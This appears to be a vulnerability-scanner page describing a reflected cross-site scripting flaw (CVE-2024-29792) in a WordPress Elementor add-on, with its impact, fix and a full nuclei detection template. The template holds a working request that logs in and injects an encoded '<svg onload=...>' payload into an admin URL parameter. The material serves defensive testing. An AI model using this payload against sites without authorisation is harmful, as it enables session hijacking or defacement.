Unlimited Elements for Elementor <= 1.5.93 - Cross Site Scripting

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

55%of all CVEs are less likely

Readycheck to confirm it

Unlimited Elements For Elementor (Free Widgets, Addons, Templates) versions up to 1.5.93 contain a reflected cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in the victim's browser, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or redirection.

Fix

Update to version 1.5.94 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, 'wordpress_logged_in')
Send: GET /wp-admin/admin.php?page=unlimitedelements&view=settingselementor&google_connect_error=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, '<svg onload=alert(document.domain)>', 'unlimited-elements-for-elementor')

Run it with nuclei: nuclei -id CVE-2024-29792 -u <target>

The full check

id: CVE-2024-29792

info:
  name: Unlimited Elements for Elementor <= 1.5.93 - Cross Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    Unlimited Elements For Elementor (Free Widgets, Addons, Templates) versions up to 1.5.93 contain a reflected cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in the victim's browser, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 1.5.94 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29792
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unlimited-elements-for-elementor/unlimited-elements-for-elementor-1593-reflected-cross-site-scripting
    - https://plugins.trac.wordpress.org/changeset/3057553/unlimited-elements-for-elementor
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-29792
    epss-score: 0.0074
    epss-percentile: 0.54945
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/unlimited-elements-for-elementor"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,unlimited-elements-for-elementor,authenticated,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=unlimitedelements&view=settingselementor&google_connect_error=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains_all(body, '<svg onload=alert(document.domain)>', 'unlimited-elements-for-elementor')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from